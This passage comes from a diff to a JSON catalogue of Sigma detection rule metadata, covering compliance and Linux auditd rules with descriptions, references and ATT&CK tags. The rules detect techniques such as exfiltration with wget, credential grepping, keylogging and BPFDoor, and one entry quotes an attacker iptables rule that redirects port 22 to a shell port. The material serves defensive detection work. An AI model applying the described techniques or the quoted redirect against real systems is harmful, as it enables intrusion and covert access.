"https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "default_credentials_usage.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "qualys" + } + }, + { + "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", + "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", + "value": "Cleartext Protocol Usage", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "firewall_cleartext_protocols.yml", + "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a \u2018Member is added to a Security Group\u2019.\nEvent ID 4729 indicates a \u2018Member is removed from a Security enabled-group\u2019 .\nEvent ID 4730 indicates a \u2018Security Group is deleted\u2019.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", + "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", + "value": "Group Modification Logging", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "group_modification_logging.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", + "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9", + "value": "Host Without Firewall", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/19", + "filename": "host_without_firewall.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "qualys" + } + }, + { + "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", + "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", + "value": "Cleartext Protocol Usage", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "netflow_cleartext_protocols.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", + "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4", + "value": "Locked Workstation", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "workstation_was_locked.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", + "uuid": "e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9", + "value": "Edit of .bash_profile and .bashrc", + "meta": { + "refs": [ + "MITRE Attack technique T1156; .bash_profile and .bashrc. ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_alter_bash_profile.yml" + ], + "tags": [ + "attack.s0003", + "attack.persistence", + "attack.t1546.004" + ], + "creation_date": "2019/05/12", + "filename": "lnx_auditd_alter_bash_profile.yml", + "author": "Peter Matkovski", + "level": "medium", + "falsepositive": [ + "Admin or User activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to record audio with arecord utility", + "uuid": "a7af2487-9c2f-42e4-9bb9-ff961f0561d5", + "value": "Audio Capture", + "meta": { + "refs": [ + "https://linux.die.net/man/1/arecord", + "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", + "https://attack.mitre.org/techniques/T1123/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2021/09/04", + "filename": "lnx_auditd_audio_capture.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect changes in auditd configuration files", + "uuid": "977ef627-4539-4875-adf4-ed8f780c4922", + "value": "Auditing Configuration Changes on Linux Host", + "meta": { + "refs": [ + "https://github.com/Neo23x0/auditd/blob/master/audit.rules", + "Self Experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.006" + ], + "creation_date": "2019/10/25", + "filename": "lnx_auditd_auditing_config_change.yml", + "author": "Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", + "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba", + "value": "Binary Padding", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ], + "creation_date": "2020/10/13", + "filename": "lnx_auditd_binary_padding.yml", + "author": "Igor Fits, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate script work" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", + "uuid": "808146b2-9332-4d78-9416-d7e47012d83d", + "value": "BPFDoor Abnormal Process ID or Lock File Accessed", + "meta": { + "refs": [ + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.t1059" + ], + "creation_date": "2022/08/10", + "filename": "lnx_auditd_bpfdoor_file_accessed.yml", + "author": "Rafal Piasecki", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", + "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc", + "value": "Bpfdoor TCP Ports Redirect", + "meta": { + "refs": [ + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/08/10", + "filename": "lnx_auditd_bpfdoor_port_redirect.yml", + "author": "Rafal Piasecki", + "level": "medium", + "falsepositive": [ + "Legitimate ports redirect" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", + "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe", + "value": "Linux Capabilities Discovery", + "meta": { + "refs": [ + "https://man7.org/linux/man-pages/man8/getcap.8.html", + "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", + "https://mn3m.info/posts/suid-vs-capabilities/", + "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" + ], + "tags": [ + "attack.collection", + "attack.privilege_escalation", + "attack.t1123", + "attack.t1548" + ], + "creation_date": "2021/11/28", + "filename": "lnx_auditd_capabilities_discovery.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect file time attribute change to hide new or changes to existing files.", + "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b", + "value": "File Time Attribute Change", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_change_file_time_attr.yml", + "author": "Igor Fits, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects removing immutable file attribute.", + "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7", + "value": "Remove Immutable File Attribute", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2019/09/23", + "filename": "lnx_auditd_chattr_immutable_removal.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrator interacting with immutable files (e.g. for instance backups)." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf", + "value": "Clipboard Collection with Xclip Tool", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1115/", + "https://linux.die.net/man/1/xclip", + "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/09/24", + "filename": "lnx_auditd_clipboard_collection.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate usage of xclip tools" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "uuid": "f200dc3f-b219-425d-a17e-c38467364816", + "value": "Clipboard Collection of Image Data with Xclip Tool", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1115/", + "https://linux.die.net/man/1/xclip", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/10/01", + "filename": "lnx_auditd_clipboard_image_collection.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate usage of xclip tools" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects command line parameter very often used with coin miners", + "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed", + "value": "Possible Coin Miner CPU Priority Param", + "meta": { + "refs": [ + "https://xmrig.com/docs/miner/command-line-options", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/10/09", + "filename": "lnx_auditd_coinminer.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Other tools that use a --cpu-priority flag" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", + "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512", + "value": "Creation Of An User Account", + "meta": { + "refs": [ + "MITRE Attack technique T1136; Create Account ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" + ], + "tags": [ + "attack.t1136.001", + "attack.persistence" + ], + "creation_date": "2020/05/18", + "filename": "lnx_auditd_create_account.yml", + "author": "Marie Euler", + "level": "medium", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", + "uuid": "5ee37487-4eb8-4ac2-9be1-d7d14cdc559f", + "value": "CVE-2021-3156 Exploitation Attempt", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "cve.2021.3156" + ], + "creation_date": "2021/02/01", + "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing.\nrequired to trigger the heap-based buffer overflow.\n", + "uuid": "b9748c98-9ea7-4fdb-80b6-29bed6ba71d2", + "value": "CVE-2021-3156 Exploitation Attempt", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "cve.2021.3156" + ], + "creation_date": "2021/02/01", + "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-4034.", + "uuid": "40a016ab-4f48-4eee-adde-bbf612695c53", + "value": "CVE-2021-4034 Exploitation Attempt", + "meta": { + "refs": [ + "https://github.com/berdav/CVE-2021-4034", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", + "https://access.redhat.com/security/cve/CVE-2021-4034", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2022/01/27", + "filename": "lnx_auditd_cve_2021_4034.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee", + "value": "Data Compressed", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1560.001" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_data_compressed.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate use of archiving tools by legitimate user." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", + "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc", + "value": "Data Exfiltration with Wget", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0010/", + "https://linux.die.net/man/1/wget", + "https://gtfobins.github.io/gtfobins/wget/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2021/11/18", + "filename": "lnx_auditd_data_exfil_wget.yml", + "author": "Pawel Mazur", + "level": "medium", + "falsepositive": [ + "Legitimate usage of wget utility to post a file" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects overwriting (effectively wiping/deleting) of a file.", + "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e", + "value": "Overwriting the File with Dev Zero or Null", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2019/10/23", + "filename": "lnx_auditd_dd_delete_file.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "low", + "falsepositive": [ + "Appending null bytes to files.", + "Legitimate overwrite of files." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", + "uuid": "53059bc0-1472-438b-956a-7508a94a91f0", + "value": "Disable System Firewall", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://attack.mitre.org/techniques/T1562/004/", + "https://firewalld.org/documentation/man-pages/firewall-cmd.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" + ], + "tags": [ + "attack.t1562.004", + "attack.defense_evasion" + ], + "creation_date": "2022/01/22", + "filename": "lnx_auditd_disable_system_firewall.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects file and folder permission changes.", + "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5", + "value": "File or Folder Permissions Change", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2019/09/23", + "filename": "lnx_auditd_file_or_folder_permissions.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "low", + "falsepositive": [ + "User interacting with files permissions (normal/daily behaviour)." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detecting attempts to extract passwords with grep", + "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35", + "value": "Credentials In Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_find_cred_in_files.yml", + "author": "Igor Fits, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", + "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616", + "value": "Hidden Files and Directories", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", + "https://attack.mitre.org/techniques/T1564/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2021/09/06", + "filename": "lnx_auditd_hidden_files_directories.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects appending of zip file to image", + "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b", + "value": "Steganography Hide Zip Information in Picture File", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/09", + "filename": "lnx_auditd_hidden_zip_files_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect attempt to enable auditing of TTY input", + "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc", + "value": "Linux Keylogging with Pam.d", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", + "https://attack.mitre.org/techniques/T1003/", + "https://linux.die.net/man/8/pam_tty_audit", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", + "https://access.redhat.com/articles/4409591#audit-record-types-2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1056.001" + ], + "creation_date": "2021/05/24", + "filename": "lnx_auditd_keylogging_with_pam_d.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Administrative work" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", + "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751", + "value": "Modification of ld.so.preload", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", + "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.006" + ], + "creation_date": "2019/10/24", + "filename": "lnx_auditd_ld_so_preload_mod.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", + "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72", + "value": "Loading of Kernel Module via Insmod", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1547/006/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", + "https://linux.die.net/man/8/insmod", + "https://man7.org/linux/man-pages/man8/kmod.8.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.006" + ], + "creation_date": "2021/11/02", + "filename": "lnx_auditd_load_module_insmod.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect changes of syslog daemons configuration files", + "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841", + "value": "Logging Configuration Changes on Linux Host", + "meta": { + "refs": [ + "self experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.006" + ], + "creation_date": "2019/10/25", + "filename": "lnx_auditd_logging_config_change.yml", + "author": "Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", + "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0", + "value": "Masquerading as Linux Crond Process", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_masquerading_crond.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local or remote network services.", + "uuid": "3761e026-f259-44e6-8826-719ed8079408", + "value": "Linux Network Service Scanning", + "meta": { + "refs": [ + 